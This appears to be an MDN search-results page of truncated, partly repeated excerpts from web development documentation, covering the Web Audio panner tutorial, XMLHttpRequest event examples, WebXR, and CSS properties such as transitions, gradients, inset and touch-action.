...out where the sound is. pretty clever stuff. let's use the hrtf model! const pannermodel = 'hrtf'; the coneinnerangle and coneouterangle properties specify where the volume emanates from. by default, both are 360 degrees. our boombox speakers will have smaller cones, which we can define. the inner cone is where gain (volume) is always emulated at a maximum and the outer cone is where the gain
starts to drop away. the gain is reduced by the value of the coneoutergain value. let's create constants that store the values we'll use for these parameters later on: const innercone = 60; const outercone = 90; const outergain = 0.3; the next parameter is distancemodel — this can only be set to linear, inverse, or exponential. these are different algorithms, which are used to reduce the volume of...
...a reference distance (refdistance), which is used by the distance models. we can keep that at the default value of 1 as well: const refdistance = 1; then there's the roll-off factor (rollofffactor) — how quickly does the volume reduce as the panner moves away from the listener. the default value is 1; let's make that a bit bigger to exaggerate our movements. const rolloff = 10; now we can
start setting our position and orientation of our boombox. this is a lot like how we did it with our listener. these are also the parameters we're going to change when the controls on our interface are used. const positionx = posx; const positiony = posy; const positionz = posz; const orientationx = 0.0; const orientationy = 0.0; const orientationz = -1.0; note the minus value on our z orientation ...
...set our bounds const topbound = -posy; const bottombound = posy; const rightbound = posx; const leftbound = -posx; const innerbound = 0.1; const outerbound = 1.5; let's create a function that takes the direction we want to move as a parameter, and both modifies the css transform and updates the position and orientation values of our panner node properties to change the sound as appropriate. to
start with let's take a look at our left, right, up and down values as these are pretty straightforward. we'll move the boombox along these axis and update the appropriate position. function moveboombox(direction) { switch (direction) { case 'left': if (transform.xaxis > leftbound) { transform.xaxis -= 5; panner.positionx.value -= 0.1; ...
Web Audio API - Web APIs
tions are performed with audio nodes, which are linked together to form an audio routing graph. several sources — with different types of channel layout — are supported even within a single context. this modular design provides the flexibility to create complex audio functions with dynamic effects. audio nodes are linked into chains and simple webs by their inputs and outputs. they typically
start with one or more sources. sources provide arrays of sound intensities (samples) at very small timeslices, often tens of thousands of them per second. these could be either computed mathematically (such as oscillatornode), or they can be recordings from sound/video files (like audiobuffersourcenode and mediaelementaudiosourcenode) and audio streams (mediastreamaudiosourcenode). in fact, sound file...
...attenuation induced by a moving source (or moving listener). you can read about the theory of the web audio api in a lot more detail in our article basic concepts behind web audio api. web audio api target audience the web audio api can seem intimidating to those that aren't familiar with audio or music terms, and as it incorporates a great deal of functionality it can prove difficult to get
started if you are a developer. it can be used to simply incorporate audio into your website or application, by providing atmosphere like futurelibrary.no, or auditory feedback on forms. however, it can also be used to create advanced interactive instruments. with that in mind, it is suitable for both developers and musicians alike. we have a simple introductory tutorial for those that are familiar w...
...which extends the first one to help you practise what you've learnt, and apply some more advanced techniques to build up a step sequencer. we also have other tutorials and comprehensive reference material available that covers all features of the api. see the sidebar on this page for more. ...
...you've learnt, and apply some more advanced techniques to build up a step sequencer. we also have other tutorials and comprehensive reference material available that covers all features of the api. see the sidebar on this page for more. ...
Window.print() - Web APIs
data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...frame> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 5opera full support 6notes full support 6notes notes
starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari full support 1.1webview android full support 1notes full support 1notes notes
starting with webview 46, this method is blocked inside an <if...
... full support 1notes full support 1notes notes
starting with webview 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.chrome android full support 18notes full support 18notes notes
starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.firefox android no support nonotes no support nonotes notes see bug 1247609.opera android full support 10.1notes full support ...
... inside an <iframe> unless its sandbox attribute has the value allow-modals.firefox android no support nonotes no support nonotes notes see bug 1247609.opera android full support 10.1notes full support 10.1notes notes
starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari ios full support 1samsung internet android full support 1.0notes full support 1.0notes notes
starting with samsung internet 5.0, this method...
Window.prompt() - Web APIs
ata, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... effect in the modern ui/metro version of internet explorer for windows 8. it does not display a prompt to the user, and always returns undefined. it is not clear whether this is a bug or intended behavior. ...
... full support 3notes notes
starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari full support 1webview android full support 1notes full support 1notes notes
starting with webview 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.chrome android full support 18notes full support 18notes notes
starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.fire...
...t 18notes notes
starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.firefox android full support 4opera android full support 10.1notes full support 10.1notes notes
starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari ios full support 1samsung internet android full support 1.0notes full support 1.0notes notes
starting with samsung internet 5.0, this method...
XMLHttpRequest: abort event - Web APIs
the abort event is fired when a request has been aborted, for example because the program called xmlhttprequest.abort(). ...
...e the program called xmlhttprequest.abort(). ...
...no interface progressevent event handler property onabort examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to
start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to
start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to
start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabor...
...tonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('load
start', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url);...
XMLHttpRequest: error event - Web APIs
the error event is fired when the request encountered an error. ...
...fired when the request encountered an error. ...
...no interface progressevent event handler property onerror examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to
start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to
start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to
start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabor...
...tonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('load
start', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url);...
XMLHttpRequest: load event - Web APIs
the load event is fired when an xmlhttprequest transaction completes successfully. ...
...tprequest transaction completes successfully. ...
... no interface progressevent event handler property onload examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to
start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to
start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to
start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabor...
...tonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('load
start', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url);...
XMLHttpRequest: loadend event - Web APIs
the loadend event is fired when a request has completed, whether successfully (after load) or unsuccessfully (after abort or error). ...
... or unsuccessfully (after abort or error). ...
... interface progressevent event handler property onloadend examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to
start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to
start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to
start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabor...
...tonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('load
start', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url);...
XMLHttpRequest: progress event - Web APIs
the progress event is fired periodically when a request receives more data. ...
...ically when a request receives more data. ...
... interface progressevent event handler property onprogress examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to
start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to
start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to
start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabor...
...tonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('load
start', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url);...
XRSystem - Web APIs
if it's found, we know webxr is present, so we proceed by establishing a handler for t...
...igator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { immersivebutton.disabled = false; } else { immersivebutton.disabled = true; }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then(() => { // onsession
started() not shown for reasons of brevity and clarity. onsession
started(xrsession); }); } else { // shut down the already running xrsession xrsession.end() .then(() => xrsession = null); } } this code
starts by checking to see if webxr is available by looking for the navigator.xr property. if it's found, we know webxr is present, so we proceed by establishing a handler for the button which the user can click to toggle immersive vr mode on and o...
...ssionsupported(), passing it the desired session option before enabling the button, immersivebutton, which the user can then use to switch to immersive mode only if immersive vr mode is available. if immersive vr isn't available, the button is disabled to prevent its use. the onbuttonclicked() function checks to see if there's already a session running. if there isn't, we use requestsession() to
start one and, once the returned promise resolves, we call a function onsession
started() to set up our session for rendering and so forth. if, on the other hand, there is already an ongoing xr session, we instead call end() to end the current session. when the returned promise resolves, we set xrsession to null to record the fact that we no longer have an ongoing session. that way, if the user clicks ...
... specifications specification status comment webxr device apithe definition of 'xr' in that specification. ...
Using CSS transitions - CSS: Cascading Style Sheets
to take place over a period of time. for example, if you change the color of an element from white to black, usually the change is instantaneous. with css transitions enabled, changes occur at time intervals that follow an acceleration curve, all of which can be customized. animations that involve transitioning between two states are often called implicit transitions as the states in between the
start and final states are implicitly defined by the browser. css transitions let you decide which properties to animate (by listing them explicitly), when the animation will
start (by setting a delay), how long the transition will last (by setting a duration), and how the transition will run (by defining a timing function, e.g. linearly or quick at the beginning, slow at the end). which css proper...
...st way to configure transitions, as it makes it easier to avoid out of sync parameters, which can be very frustrating to have to spend lots of time debugging in css. you can control the individual components of the transition with the following sub-properties: (note that these transitions loop infinitely only for the purpose of our examples; css transitions only visualize a property change from
start to finish. if you need visualizations that loop, look into the css animation property.) transition-property specifies the name or names of the css properties to which transitions should be applied. only properties listed here are animated during transitions; changes to all other properties occur instantaneously as usual. transition-duration specifies the duration over which transitions shou...
... with css you can make it smooth without any extra effort. simply add a transition to the element and any change will happen smoothly: p { padding-left: 60px; } #foo { border-radius: 50px; width: 50px; height: 50px; background: #c00; position: absolute; top: 0; left: 0; transition: transform 1s; } you can play with this here: http://jsfiddle.net/9h261pzo/291/ detecting the
start and completion of a transition you can use the transitionend event to detect that an animation has finished running. this is a transitionevent object, which has two added properties beyond a typical event object: propertyname a string indicating the name of the css property whose transition completed. elapsedtime a float indicating the number of seconds the transition had been running at t...
...indicating the number of seconds the transition had been running at the time the event fired. this value isn't affected by the value of transition-delay. as usual, you can use the addeventlistener() method to monitor for this event: el.addeventlistener("transitionend", updatetransition, true); you detect the beginning of a transition using transitionrun (fires before any delay) and transition
start (fires after any delay), in the same kind of fashion: el.addeventlistener("transitionrun", signal
start, true); el.addeventlistener("transition
start", signal
start, true); note: the transitionend event doesn't fire if the transition is aborted before the transition is completed because either the element is made display: none or the animating property's value is changed. specifications ...
conic-gradient() - CSS: Cascading Style Sheets
esult of the conic-gradient() function is an object of the <gradient> data type, which is a special kind of <image>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... the other, it can look like a cone from above. composition of a conic gradient the conic-gradient syntax is similar to the radial-gradient syntax, but the color-stops are placed around a gradient arc, the circumference of a circle, rather than on the gradient line emerging from the center of the gradient. with conic gradients, the colors transition as as if spun around the center of a circle,
starting at the top and going clockwise. in a radial gradient, the colors transition from the center of an ellipse, outward, in all directions. a conic gradient is specified by indicating a rotation angle, the center of the gradient, and then specifying a list of color-stops. unlike linear and radial gradients, whose color-stops are placed by specifying a length, the color-stops of a conic gradient ...
...s also accept percent values, with 100% equaling 360 degrees, but this is not in the specification. similar to radial gradients, the conic gradient syntax provides for positioning the center of the gradient anywhere within, or even outside, the image. the values for the position are similar to the syntax for 2-value background-position. the gradient arc is the circumference of the gradient. the
starting point of the gradient or arc is north, or 12:00pm. the gradient is then rotated by the from angle. the colors of the gradient are determined by the angled color stops, their
starting points, ending points, and, in between, and optional angled color-stop points. the transitions between colors can be altered with color hints between adjacent colors' color stops. customizing gradients by adding...
... colors transition smoothly from the color at one color stop to the color at the subsequent color stop, with the midpoint between the colors being the half way point between the color transition. you can move this color transition midpoint to any point between two color stops by adding a color hint, indicating where the middle of the color transition should be. the following is solid red from the
start to the 10% mark, transitions from red to blue over 80% of the turn, with the final 10% being solid blue. the midpoint of the red to blue gradient change, however, is at the 20% mark rather than the 50% mark as would have happened without the 80grad, or 20%, color hint. conic-gradient(red 40grad, 80grad, blue 360grad); if two or more color stops are at the same location, the transition will be a...
image() - CSS: Cascading Style Sheets
s the directionality of the image. if included, and the image is used on an element with opposite directionality, the image will be flipped horizontally in horizontal writing modes. if the directionality is omitted, the image won't be flipped if the language direction is changed. ...
...the third value is the width of the box, and the last value is the height. by default, these are pixel values. ...
...the third value is the width of the box, and the last value is the height. by default, these are pixel values. ...
...calex(-1) had been set. the text will also be displayed left-to-right. displaying a section of the background image <div class="box">hover over me. what cursor do you see?</div> .box:hover { cursor: image("https://mdn.mozillademos.org/files/16411/sprite.png#xywh=32,64,16,16"); } when the user hovers over the box, the cursor will change to display the 16x16 px section of the sprite image,
starting at x=32 and y=64. providing fallback images .help::before { content: image("try.webp", "try.svg", "try.gif"); } in this example, the browser will display an image as generated content before the content of the element with the class of help. the image displayed will be a webp image, if webp is supported. if not, the svg example will be shown. if svg is not supported, the gif version wil...
inset-block - CSS: Cascading Style Sheets
the inset-block css property defines the logical block
start and end offsets of an element, which maps to physical offsets depending on the element's writing mode, directionality, and text orientation. it corresponds to the top and bottom, or right and left properties depending on the values defined for writing-mode, direction, and text-orientation. ...
...and end offsets of an element, which maps to physical offsets depending on the element's writing mode, directionality, and text orientation. it corresponds to the top and bottom, or right and left properties depending on the values defined for writing-mode, direction, and text-orientation. ...
...4em 3em; inset-block: 10px; /* value applied to
start and end */ /* <percentage>s of the width or height of the containing block */ inset-block: 10% 5%; /* keyword value */ inset-block: auto; /* global values */ inset-block: inherit; inset-block: initial; inset-block: unset; constituent properties this property is a shorthand for the following css properties: inset-block-end inset-block-
start syntax values the inset-block property takes the same values as the left property. formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples ...
...es the inset-block property takes the same values as the left property. ...
inset-inline - CSS: Cascading Style Sheets
the inset-inline css property defines the logical
start and end offsets of an element in the inline direction, which maps to physical offsets depending on the element's writing mode, directionality, and text orientation. it corresponds to the top and bottom, or right and left properties depending on the values defined for writing-mode, direction, and text-orientation. ...
...nt in the inline direction, which maps to physical offsets depending on the element's writing mode, directionality, and text orientation. it corresponds to the top and bottom, or right and left properties depending on the values defined for writing-mode, direction, and text-orientation. ...
... inset-inline: 10px; /* value applied to
start and end */ /* <percentage>s of the width or height of the containing block */ inset-inline: 10% 5%; /* keyword value */ inset-inline: auto; /* global values */ inset-inline: inherit; inset-inline: initial; inset-inline: unset; constituent properties this property is a shorthand for the following css properties: inset-inline-end inset-inline-
start syntax values the inset-inline property takes the same values as the left property. formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples ...
...s the inset-inline property takes the same values as the left property. ...
margin-inline - CSS: Cascading Style Sheets
the margin-inline css shorthand property is a shorthand property that defines both the logical inline
start and end margins of an element, which maps to physical margins depending on the element's writing mode, directionality, and text orientation. ...
...art and end margins of an element, which maps to physical margins depending on the element's writing mode, directionality, and text orientation. /* <length> values */ margin-inline: 10px 20px; /* an absolute length */ margin-inline: 1em 2em; /* relative to the text size */ margin-inline: 5% 2%; /* relative to the nearest block container's width */ margin-inline: 10px; /* sets both
start and end values */ /* keyword values */ margin-inline: auto; /* global values */ margin-inline: inherit; margin-inline: initial; margin-inline: unset; this property corresponds to the margin-top and margin-bottom, or margin-right, and margin-left properties, depending on the values defined for writing-mode, direction, and text-orientation. constituent properties this property is a shorthand ...
...al values */ margin-inline: inherit; margin-inline: initial; margin-inline: unset; this property corresponds to the margin-top and margin-bottom, or margin-right, and margin-left properties, depending on the values defined for writing-mode, direction, and text-orientation. constituent properties this property is a shorthand for the following css properties: margin-inline-end margin-inline-
start syntax values the margin-inline property takes the same values as the margin-left property. formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2}...
...in-inline property takes the same values as the margin-left property. ...
repeating-linear-gradient() - CSS: Cascading Style Sheets
d send us a pull request. the length of the gradient that repeats is the distance between the first and last color stop. if the first color does not have a color-stop-length, the color-stop-length defaults to 0. with each repetition, the positions of the color stops are shifted by a multiple of the length of the basic linear gradient. thus, the position of each ending color stop coincides with a
starting color stop; if the color values are different, this will result in a sharp visual transition. this can be altered with repeating the first color again as the last color. as with any gradient, a repeating linear gradient has no intrinsic dimensions; i.e., it has no natural or preferred size, nor a preferred ratio. its concrete size will match the size of the element it applies to. because <gr...
...l or preferred size, nor a preferred ratio. its concrete size will match the size of the element it applies to. because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used. for this reason, repeating-linear-gradient() won't work on background-color and other properties that use the <color> data type. syntax /* a repeating gradient tilted 45 degrees,
starting blue and finishing red, repeating 3 times */ repeating-linear-gradient(45deg, blue, red 33.3%); /* a repeating gradient going from the bottom right to the top left,
starting blue and finishing red, repeating every 20px */ repeating-linear-gradient(to left top, blue, red 20px); /* a gradient going from the bottom to top,
starting blue, turning green after 40%, and finishing red. this...
...red, repeating every 20px */ repeating-linear-gradient(to left top, blue, red 20px); /* a gradient going from the bottom to top,
starting blue, turning green after 40%, and finishing red. this gradient doesn't repeat because the last color stop defaults to 100% */ repeating-linear-gradient(0deg, blue, green 40%, red); /* a gradient repeating five times, going from the left to right,
starting red, turning green, and back to red */ repeating-linear-gradient(to right, red 0%, green 10%, red 20%); values <side-or-corner> the position of the gradient line's
starting point. if specified, it consists of the word to and up to two keywords: one indicates the horizontal side (left or right), and the other the vertical side (top or bottom). the order of the side keywords does not matte...
...es are translated into an angle. <angle> the gradient line's angle of direction. a value of 0deg is equivalent to to top; increasing values rotate clockwise from there. <linear-color-stop> a color-stop's <color> value, followed by one or two optional stop positions, (each being either a <percentage> or a <length> along the gradient's axis). a percentage of 0%, or a length of 0, represents the
start of the gradient; the value 100% is 100% of the image size, meaning the gradient will not repeat. <color-hint> th color-hint is an interpolation hint defining how the gradient progresses between adjacent color stops. the length defines at which point between two color stops the gradient color should reach the midpoint of the color transition. if omitted, the midpoint of the color transition is t...
touch-action - CSS: Cascading Style Sheets
right; touch-action: pan-y; touch-action: pan-up; touch-action: pan-down; touch-action: pinch-zoom; touch-action: manipulation; /* global values */ touch-action: inherit; touch-action: initial; touch-action: unset; by default, panning (scrolling) and pinching gestures are handled exclusively by the browser. an application using pointer events will receive a pointercancel event when the browser
starts handling a touch gesture. by explicitly specifying which gestures should be handled by the browser, an application can supply its own behavior in pointermove and pointerup listeners for the remaining gestures. applications using touch events disable the browser handling of gestures by calling preventdefault(), but should also use touch-action to ensure the browser knows the intent of the applica...
...ould be handled by the browser, an application can supply its own behavior in pointermove and pointerup listeners for the remaining gestures. applications using touch events disable the browser handling of gestures by calling preventdefault(), but should also use touch-action to ensure the browser knows the intent of the application before any event listeners have been invoked. when a gesture is
started, the browser intersects the touch-action values of the touched element and its ancestors, up to the one that implements the gesture (in other words, the first containing scrolling element). this means that in practice, touch-action is typically applied only to top-level elements which have some custom behavior, without needing to specify touch-action explicitly on any of that element's descenda...
...cts the touch-action values of the touched element and its ancestors, up to the one that implements the gesture (in other words, the first containing scrolling element). this means that in practice, touch-action is typically applied only to top-level elements which have some custom behavior, without needing to specify touch-action explicitly on any of that element's descendants. after a gesture
starts, changes to touch-action will not have any impact on the behavior of the current gesture. syntax the touch-action property may be specified as either: one of the keywords auto, none, manipulation, or one of the keywords pan-x, pan-left, pan-right, and/or one of the keywords pan-y, pan-up, pan-down, plus optionally the keyword pinch-zoom. values auto enable browser handling of all pa...
...such as double-tap to zoom. disabling double-tap to zoom removes the need for browsers to delay the generation of click events when the user taps the screen. this is an alias for "pan-x pan-y pinch-zoom" (which, for compatibility, is itself still valid). pan-left, pan-right, pan-up, pan-down enable single-finger gestures that begin by scrolling in the given direction(s). once scrolling has
started, the direction may still be reversed. note that scrolling "up" (pan-up) means that the user is dragging their finger downward on the screen surface, and likewise pan-left means the user is dragging their finger to the right. multiple directions may be combined except when there is a simpler representation (for example, "pan-left pan-right" is invalid since "pan-x" is simpler, but "pan-left pan-...
CSS: Cascading Style Sheets
ss web browsers according to the w3c specification. previously development of various parts of css specification was done synchronously, which allowed versioning of the latest recommendation. you might have heard about css1, css2.1, css3. however, css4 has never become an official version. from css3, the scope of the specification increased significantly and the progress on different css modules
started to differ so much, that it became more effective to develop and release recommendations separately per module. instead of versioning the css specification, w3c now periodically takes a snapshot of the latest stable state of the css specification. css introduction if you're new to web development, be sure to read our css basics article to learn what css is and how to use it. css tutori...
...ea contains a wealth of tutorials to take you from beginner level to proficiency, covering all the fundamentals. css reference our exhaustive css reference for seasoned web developers describes every property and concept of css. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started tutorials our css learning area features multiple modules that teach css from the ground up — no previous knowledge required. css first steps css (cascading style sheets) is used to style and layout web pages — for example, to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features. this module provid...
...ed. css first steps css (cascading style sheets) is used to style and layout web pages — for example, to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features. this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can
start using it to add styling to html. css building blocks this module carries on where css first steps left off — now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper. this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debu...
...ning block stacking and block-formatting contexts initial, computed, used, and actual values css shorthand properties css flexible box layout css grid layout media queries animation cookbook the css layout cookbook aims to bring together recipes for common layout patterns, things you might need to implement in your sites. in addition to providing code you can use as a
starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer. tools for css development you can use the w3c css validation service to check if your css is valid. this is an invaluable debugging tool. firefox developer tools lets you view and edit a page's live css via the inspector and style editor tools.
Media events - Developer guides
various events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them. event name description abort sent when playback is aborted; for example, if the media is playing and is re
started from the beginning, this event is sent. canplay sent when enough data is available that the media can be played, at least for a couple of frames. this corresponds to the have_future_data readystate. canplaythrough sent when the readystate changes to have_enough_data, indicating that the entire media can be played without interruption, assuming the download rate remains at least at the current level. it will also be fired when pla...
...when playback completes. error sent when an error occurs. the element's error attribute contains more information. see htmlmediaelement.error for details. loadeddata the first frame of the media has finished loading. loadedmetadata the media's metadata has finished loading; all attributes now contain as much useful information as they're going to. load
start sent when loading of the media begins. mozaudioavailable sent when an audio buffer is provided to the audio layer for processing; the buffer contains raw audio samples that may or may not already have been played by the time you receive the event. pause sent when the playback state is changed to paused (paused property is true). play sent when the playback s...
...; the buffer contains raw audio samples that may or may not already have been played by the time you receive the event. pause sent when the playback state is changed to paused (paused property is true). play sent when the playback state is no longer paused, as a result of the play method, or the autoplay attribute. playing sent when the media has enough data to
start playing, after the play event, but also when recovering from being stalled, when looping media re
starts, and after seeked, if it was playing before seeking. progress sent periodically to inform interested parties of progress downloading the media. information about the current amount of the media that has been downloaded is available in the media element's buffered attribute. ...
... as the following: var v = document.getelementsbytagname("video")[0]; v.addeventlistener("seeked", function() { v.play(); }, true); v.currenttime = 10.0; this example fetches the first video element in the document and attaches an event listener to it, watching for the seeked event, which is sent whenever a seek operation completes. the listener simply calls the element's play() method, which
starts playback. then, in line 3, the example sets the element's currenttime attribute to 10.0, which initiates a seek operation to the 10-second mark in the media. this causes a seeking event to be sent when the operation begins, then a seeked event to be dispatched when the seek is completed. in other words, this example seeks to the 10-second mark in the media, then begins playback as soon as tha...
Introduction to Web development - Developer guides
for another (overlapping) set of links to learning resources, see the mdn learning pages. note: the recommended resources on this page are subject to change. documentation topics html the basics of hypertext mark-up langage (html) — what exactly is html? basic structure of a web page — the doctype and document 'tree' fundamental html elements — structural, head, list, form elements and more, explained by category. html beginners tutorial — a tutorial and exercise that recap and take you through the basics you've learned above. ...
...nd document 'tree' fundamental html elements — structural, head, list, form elements and more, explained by category. html beginners tutorial — a tutorial and exercise that recap and take you through the basics you've learned above. html elements reference guide — a comprehensive guide to html elements with details on how browsers support them css getting
started with css — an absolute beginners guide to css covers basic concepts and fundamentals css reference guide — a complete guide to css with details on the level of gecko/firefox support for each. the w3c introduction to styling with css — a brief guide to styling web pages for beginners. common css questions — common questions and answers for beginners intermediate css c...
...erence guide — a complete guide to css with details on the level of gecko/firefox support for each. the w3c introduction to styling with css — a brief guide to styling web pages for beginners. common css questions — common questions and answers for beginners intermediate css concepts — grouping, pseudo-classes and more. javascript beginning getting
started with javascript — what is javascript and how can it help you? javascript reference guide — a comprehensive, regularly updated guide to javascript for all levels of learning from beginner to advanced. crockford on javascript — an in-depth video series on the javascript language. eloquent javascript — a comprehensive guide to intermediate and advanced javascript methodolog...
...cript — john resig's guide to advanced javascript crockford on advanced javascript — a three part video series on advanced javascript concepts javascript garden — documentation of the most quirky parts of javascript. resources w3c web education community group wiki covers web design, html and html5, css, javascript and accessibility. this is a good
starting point for beginners wishing to learn web development fundamentals across a number of areas. sitepoint a reliable reference site for learning html, css and javascript which also mentions feature support across different browsers and known browser bugs. htmldog an excellent and comprehensive reference site on html and css for beginners. google's html, css, and javascript...
<input type="color"> - HTML: Hypertext Markup Language
<code>input</code> event). when you close the color picker, the <code>change</code> event fires, and we detect that to change every paragraph to the selected color.</p> javascript first, there's some setup. ...
...to change every paragraph to the selected color.</p> javascript first, there's some setup. here we establish some variables, setting up a variable that contains the color we'll set the color well to when we first load up, and then setting up a load handler to do the main
startup work once the page is fully loaded. ...
